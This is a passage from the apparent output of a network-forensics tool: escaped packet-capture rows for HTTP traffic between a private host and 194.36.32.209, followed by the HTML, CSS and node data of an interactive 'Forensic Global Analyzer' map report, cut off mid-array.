gC0kD04MA=\\\"\",\\\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\"\",\\\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\"\",\\\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\"\",\\\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\"\",\\\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\"\",\\\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\"\",\\\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\"\",\\\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\"\",\\\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\"\",\\\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\"\",\\\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\"\",\\\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\"\",\\\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\"\",\\\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\"\",\\\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\"\",\\\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\"\",\\\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\"\",\\\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\"\",\\\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\"\",\\\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnr\"\"}}]\"\n2026-06-14 14:16:56.156560,129,TCP 10.152.152.11:64008 -> 194.36.32.209:80,10.152.152.11,194.36.32.209,64008,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1449574902 Ack=1283520762,bc24112907bbbc2411360d0c080045000028ef4a4000800685ec0a98980bc22420d1fa0800505666c1f64c80f8fa50102014b1f60000,\".$.)...$.6\n...E..(.J@.....\n....$ ....PVf..L...P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61258, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 34284, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.209\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 80, \"\"seq\"\": 1449574902, \"\"ack\"\": 1283520762, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 45558, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:56.179906,130,TCP 194.36.32.209:80 -> 10.152.152.11:64008,194.36.32.209,10.152.152.11,80,64008,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=1283520762 Ack=1449574902,bc2411360d0cbc24112907bb080045000411ca8b40004006e6c2c22420d10a98980b0050fa084c80f8fa5666c1f65018003f899c00004d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d,\"MxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1041, \"\"id\"\": 51851, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59074, \"\"src\"\": \"\"194.36.32.209\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64008, \"\"seq\"\": 1283520762, \"\"ack\"\": 1449574902, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 35228, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"MxRXZW3geU=\\\"\",\\\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\"\",\\\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\"\",\\\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\"\",\\\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\"\",\\\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\"\",\\\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\"\",\\\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\"\",\\\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\"\",\\\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\"\",\\\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\"\",\\\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\"\",\\\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\"\",\\\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\"\",\\\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\"\",\\\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\"\",\\\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\"\",\\\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\"\",\\\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\"\",\\\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\"\",\\\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\"\",\\\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"\"]}\"\"}}]\"\n2026-06-14 14:16:56.180115,131,TCP 10.152.152.11:64008 -> 194.36.32.209:80,10.152.152.11,194.36.32.209,64008,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1449574902 Ack=1283521763,bc24112907bbbc2411360d0c080045000028ef4b4000800685eb0a98980bc22420d1fa0800505666c1f64c80fce350102010ae110000,\".$.)...$.6\n...E..(.K@.....\n....$ ....PVf..L...P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61259, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 34283, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.209\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 80, \"\"seq\"\": 1449574902, \"\"ack\"\": 1283521763, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8208, \"\"chksum\"\": 44561, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 131, \"total_bytes_sent\": 7634, \"total_bytes_received\": 45809, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [63940, 63966, 63993, 64005, 64008], \"first_seen\": 1781446605.434672, \"last_seen\": 1781446616.180115, \"packets\": [{\"num\": 81, \"time\": 1781446612.096158, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 82, \"time\": 1781446612.100373, \"size\": 124, \"direction\": \"sent\"}, {\"num\": 83, \"time\": 1781446612.100389, \"size\": 54, \"direction\": \"received\"}, {\"num\": 84, \"time\": 1781446612.656751, \"size\": 682, \"direction\": \"received\"}, {\"num\": 85, \"time\": 1781446612.656939, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 86, \"time\": 1781446613.034246, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 87, \"time\": 1781446613.034269, \"size\": 66, \"direction\": \"received\"}, {\"num\": 88, \"time\": 1781446613.034584, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 89, \"time\": 1781446613.03491, \"size\": 262, \"direction\": \"sent\"}, {\"num\": 90, \"time\": 1781446613.034916, \"size\": 54, \"direction\": \"received\"}, {\"num\": 91, \"time\": 1781446613.420513, \"size\": 3470, \"direction\": \"received\"}, {\"num\": 92, \"time\": 1781446613.420768, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 93, \"time\": 1781446613.449263, \"size\": 3958, \"direction\": \"received\"}, {\"num\": 94, \"time\": 1781446613.449521, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 95, \"time\": 1781446613.460173, \"size\": 881, \"direction\": \"received\"}, {\"num\": 96, \"time\": 1781446613.460361, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 97, \"time\": 1781446613.468756, \"size\": 212, \"direction\": \"sent\"}, {\"num\": 98, \"time\": 1781446613.46877, \"size\": 54, \"direction\": \"received\"}, {\"num\": 99, \"time\": 1781446613.847091, \"size\": 481, \"direction\": \"received\"}, {\"num\": 100, \"time\": 1781446613.847252, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 101, \"time\": 1781446613.849056, \"size\": 141, \"direction\": \"sent\"}, {\"num\": 102, \"time\": 1781446613.849067, \"size\": 54, \"direction\": \"received\"}, {\"num\": 103, \"time\": 1781446613.849141, \"size\": 92, \"direction\": \"sent\"}, {\"num\": 104, \"time\": 1781446613.849148, \"size\": 54, \"direction\": \"received\"}, {\"num\": 105, \"time\": 1781446613.849173, \"size\": 170, \"direction\": \"sent\"}, {\"num\": 106, \"time\": 1781446613.849176, \"size\": 54, \"direction\": \"received\"}, {\"num\": 107, \"time\": 1781446614.193839, \"size\": 92, \"direction\": \"received\"}, {\"num\": 108, \"time\": 1781446614.193954, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 109, \"time\": 1781446614.250774, \"size\": 1153, \"direction\": \"received\"}, {\"num\": 110, \"time\": 1781446614.250951, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 111, \"time\": 1781446614.251979, \"size\": 118, \"direction\": \"sent\"}, {\"num\": 112, \"time\": 1781446614.251989, \"size\": 54, \"direction\": \"received\"}, {\"num\": 113, \"time\": 1781446614.604115, \"size\": 718, \"direction\": \"received\"}, {\"num\": 114, \"time\": 1781446614.604328, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 115, \"time\": 1781446614.605854, \"size\": 124, \"direction\": \"sent\"}, {\"num\": 116, \"time\": 1781446614.605866, \"size\": 54, \"direction\": \"received\"}, {\"num\": 117, \"time\": 1781446614.956823, \"size\": 683, \"direction\": \"received\"}, {\"num\": 118, \"time\": 1781446614.957005, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 119, \"time\": 1781446614.963156, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 120, \"time\": 1781446614.963969, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 121, \"time\": 1781446614.964237, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 122, \"time\": 1781446615.807114, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 123, \"time\": 1781446615.80715, \"size\": 66, \"direction\": \"received\"}, {\"num\": 124, \"time\": 1781446615.807439, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 125, \"time\": 1781446615.80749, \"size\": 459, \"direction\": \"sent\"}, {\"num\": 126, \"time\": 1781446615.807497, \"size\": 54, \"direction\": \"received\"}, {\"num\": 127, \"time\": 1781446616.156276, \"size\": 3470, \"direction\": \"received\"}, {\"num\": 128, \"time\": 1781446616.15656, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 129, \"time\": 1781446616.179906, \"size\": 1055, \"direction\": \"received\"}, {\"num\": 130, \"time\": 1781446616.180115, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 10.745442867279053, \"avg_packet_size\": 407.9618320610687, \"packets_per_second\": 12.19121460306751}, {\"id\": \"2.23.89.83\", \"ip\": \"2.23.89.83\", \"packet_count\": 26, \"total_bytes_sent\": 13419, \"total_bytes_received\": 1903, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1781446605.434672, \"last_seen\": 1781446607.668023, \"packets\": [{\"num\": 0, \"time\": 1781446605.434672, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1781446605.434705, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1781446605.434925, \"size\": 54, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1781446605.436082, \"size\": 240, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1781446605.43609, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1781446605.819818, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1781446605.820063, \"size\": 54, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1781446605.864579, \"size\": 339, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1781446605.864865, \"size\": 54, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1781446605.87783, \"size\": 180, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1781446605.877848, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 11, \"time\": 1781446606.283864, \"size\": 328, \"direction\": \"sent\"}, {\"num\": 12, \"time\": 1781446606.290694, \"size\": 549, \"direction\": \"received\"}, {\"num\": 13, \"time\": 1781446606.290724, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 14, \"time\": 1781446606.557349, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 15, \"time\": 1781446606.557575, \"size\": 54, \"direction\": \"received\"}, {\"num\": 16, \"time\": 1781446606.572408, \"size\": 1030, \"direction\": \"sent\"}, {\"num\": 17, \"time\": 1781446606.572616, \"size\": 54, \"direction\": \"received\"}, {\"num\": 18, \"time\": 1781446606.633264, \"size\": 2982, \"direction\": \"sent\"}, {\"num\": 19, \"time\": 1781446606.63347, \"size\": 54, \"direction\": \"received\"}, {\"num\": 20, \"time\": 1781446606.748809, \"size\": 831, \"direction\": \"sent\"}, {\"num\": 21, \"time\": 1781446606.796513, \"size\": 54, \"direction\": \"received\"}, {\"num\": 22, \"time\": 1781446607.302575, \"size\": 436, \"direction\": \"received\"}, {\"num\": 23, \"time\": 1781446607.30262, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 29, \"time\": 1781446607.617399, \"size\": 687, 